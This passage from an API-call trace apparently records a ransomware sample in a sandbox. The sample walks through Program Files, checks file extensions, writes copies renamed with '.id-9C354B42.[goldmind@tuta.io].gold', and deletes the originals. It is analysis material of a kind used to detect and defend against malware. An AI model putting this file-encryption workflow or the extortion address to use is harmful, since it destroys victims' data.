Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.264] lstrlenW (lpString=".1cd") returned 4 [0089.264] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0089.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.264] lstrlenW (lpString=".jpg") returned 4 [0089.264] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0089.265] lstrcmpiW (lpString1=".INF", lpString2=".gold") returned 1 [0089.265] lstrlenW (lpString="WATERMAR.INF") returned 12 [0089.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.265] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=683) returned 1 [0089.265] CloseHandle (hObject=0x38c) returned 1 [0089.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf")) returned 0x20 [0089.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.266] lstrlenW (lpString=".doc") returned 4 [0089.266] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0089.266] lstrlenW (lpString=".docx") returned 5 [0089.266] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0089.266] lstrlenW (lpString=".pdf") returned 4 [0089.266] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0089.266] lstrlenW (lpString=".xls") returned 4 [0089.266] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0089.266] lstrlenW (lpString=".xlsx") returned 5 [0089.266] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0089.266] lstrlenW (lpString=".ppt") returned 4 [0089.266] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0089.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.266] lstrlenW (lpString=".zip") returned 4 [0089.266] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0089.266] lstrlenW (lpString=".rar") returned 4 [0089.266] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0089.266] lstrlenW (lpString=".bz2") returned 4 [0089.266] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0089.266] lstrlenW (lpString=".7z") returned 3 [0089.266] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0089.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.266] lstrlenW (lpString=".dbf") returned 4 [0089.266] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0089.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.266] lstrlenW (lpString=".1cd") returned 4 [0089.266] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0089.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.267] lstrlenW (lpString=".jpg") returned 4 [0089.267] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.267] lstrlenW (lpString=".doc") returned 4 [0089.267] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0089.267] lstrlenW (lpString=".docx") returned 5 [0089.267] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0089.267] lstrlenW (lpString=".pdf") returned 4 [0089.267] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0089.267] lstrlenW (lpString=".xls") returned 4 [0089.267] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0089.267] lstrlenW (lpString=".xlsx") returned 5 [0089.267] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0089.267] lstrlenW (lpString=".ppt") returned 4 [0089.267] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.267] lstrlenW (lpString=".zip") returned 4 [0089.267] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0089.267] lstrlenW (lpString=".rar") returned 4 [0089.267] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0089.267] lstrlenW (lpString=".bz2") returned 4 [0089.267] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0089.267] lstrlenW (lpString=".7z") returned 3 [0089.267] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.267] lstrlenW (lpString=".dbf") returned 4 [0089.267] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.267] lstrlenW (lpString=".1cd") returned 4 [0089.267] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0089.267] lstrlenW (lpString=".jpg") returned 4 [0089.267] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0089.267] lstrcmpiW (lpString1=".ITS", lpString2=".gold") returned 1 [0089.267] lstrlenW (lpString="MSB1ARFR.ITS") returned 12 [0089.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.269] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1658904) returned 1 [0089.269] CloseHandle (hObject=0x38c) returned 1 [0089.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0x20 [0089.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.269] lstrlenW (lpString=".doc") returned 4 [0089.269] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0089.269] lstrlenW (lpString=".docx") returned 5 [0089.269] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0089.269] lstrlenW (lpString=".pdf") returned 4 [0089.269] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0089.269] lstrlenW (lpString=".xls") returned 4 [0089.269] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0089.269] lstrlenW (lpString=".xlsx") returned 5 [0089.269] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0089.269] lstrlenW (lpString=".ppt") returned 4 [0089.269] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0089.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.269] lstrlenW (lpString=".zip") returned 4 [0089.269] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0089.269] lstrlenW (lpString=".rar") returned 4 [0089.269] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0089.269] lstrlenW (lpString=".bz2") returned 4 [0089.269] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0089.269] lstrlenW (lpString=".7z") returned 3 [0089.269] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0089.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString=".dbf") returned 4 [0089.270] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0089.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString=".1cd") returned 4 [0089.270] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0089.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString=".jpg") returned 4 [0089.270] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0089.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString=".doc") returned 4 [0089.270] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0089.270] lstrlenW (lpString=".docx") returned 5 [0089.270] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0089.270] lstrlenW (lpString=".pdf") returned 4 [0089.270] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0089.270] lstrlenW (lpString=".xls") returned 4 [0089.270] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0089.270] lstrlenW (lpString=".xlsx") returned 5 [0089.270] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0089.270] lstrlenW (lpString=".ppt") returned 4 [0089.270] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0089.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString=".zip") returned 4 [0089.270] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0089.270] lstrlenW (lpString=".rar") returned 4 [0089.270] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0089.270] lstrlenW (lpString=".bz2") returned 4 [0089.270] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0089.270] lstrlenW (lpString=".7z") returned 3 [0089.270] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0089.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString=".dbf") returned 4 [0089.270] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0089.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString=".1cd") returned 4 [0089.270] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0089.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0089.270] lstrlenW (lpString=".jpg") returned 4 [0089.270] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0089.271] lstrcmpiW (lpString1=".ITS", lpString2=".gold") returned 1 [0089.271] lstrlenW (lpString="MSB1ENES.ITS") returned 12 [0089.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.271] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=978206) returned 1 [0089.271] CloseHandle (hObject=0x38c) returned 1 [0089.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0089.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0089.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0089.271] lstrlenW (lpString=".doc") returned 4 [0089.271] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0089.271] lstrlenW (lpString=".docx") returned 5 [0089.271] lstrcmpiW (lpString1=".docx", lpString2="S.ITS") returned -1 [0089.271] lstrlenW (lpString=".pdf") returned 4 [0089.271] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0089.271] lstrlenW (lpString=".xls") returned 4 [0089.271] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0089.271] lstrlenW (lpString=".xlsx") returned 5 [0089.272] lstrcmpiW (lpString1=".xlsx", lpString2="S.ITS") returned -1 [0089.272] lstrlenW (lpString=".ppt") returned 4 [0089.272] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0089.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0089.272] lstrlenW (lpString=".zip") returned 4 [0089.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0089.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0089.277] lstrlenW (lpString=".doc") returned 4 [0089.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0089.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0089.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0090.068] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.068] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0090.069] GetLastError () returned 0x0 [0090.069] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x3a18, lpOverlapped=0x0) returned 1 [0090.083] WriteFile (in: hFile=0x364, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0090.084] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.084] WriteFile (in: hFile=0x364, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xee, lpOverlapped=0x0) returned 1 [0090.084] SetEndOfFile (hFile=0x364) returned 1 [0090.147] CloseHandle (hObject=0x364) returned 1 [0090.147] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.147] SetEndOfFile (hFile=0x19c) returned 1 [0090.149] CloseHandle (hObject=0x19c) returned 1 [0090.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString=".doc") returned 4 [0090.249] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString=".docx") returned 5 [0090.249] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0090.249] lstrlenW (lpString=".pdf") returned 4 [0090.249] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString=".xls") returned 4 [0090.249] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0090.249] lstrlenW (lpString=".xlsx") returned 5 [0090.249] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0090.249] lstrlenW (lpString=".ppt") returned 4 [0090.249] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString=".zip") returned 4 [0090.249] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0090.249] lstrlenW (lpString=".rar") returned 4 [0090.249] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString=".bz2") returned 4 [0090.249] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString=".7z") returned 3 [0090.249] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString=".dbf") returned 4 [0090.249] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString=".1cd") returned 4 [0090.249] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString=".jpg") returned 4 [0090.249] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString=".doc") returned 4 [0090.249] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString=".docx") returned 5 [0090.249] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0090.249] lstrlenW (lpString=".pdf") returned 4 [0090.249] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString=".xls") returned 4 [0090.249] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0090.249] lstrlenW (lpString=".xlsx") returned 5 [0090.249] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0090.249] lstrlenW (lpString=".ppt") returned 4 [0090.249] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0090.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.249] lstrlenW (lpString=".zip") returned 4 [0090.249] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0090.250] lstrlenW (lpString=".rar") returned 4 [0090.250] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0090.250] lstrlenW (lpString=".bz2") returned 4 [0090.250] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0090.250] lstrlenW (lpString=".7z") returned 3 [0090.250] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0090.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.250] lstrlenW (lpString=".dbf") returned 4 [0090.250] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0090.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.250] lstrlenW (lpString=".1cd") returned 4 [0090.250] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0090.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0090.250] lstrlenW (lpString=".jpg") returned 4 [0090.250] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0090.250] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.250] lstrlenW (lpString="EAST_01.MID") returned 11 [0090.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.400] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6165) returned 1 [0090.400] CloseHandle (hObject=0x194) returned 1 [0090.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0090.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.671] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 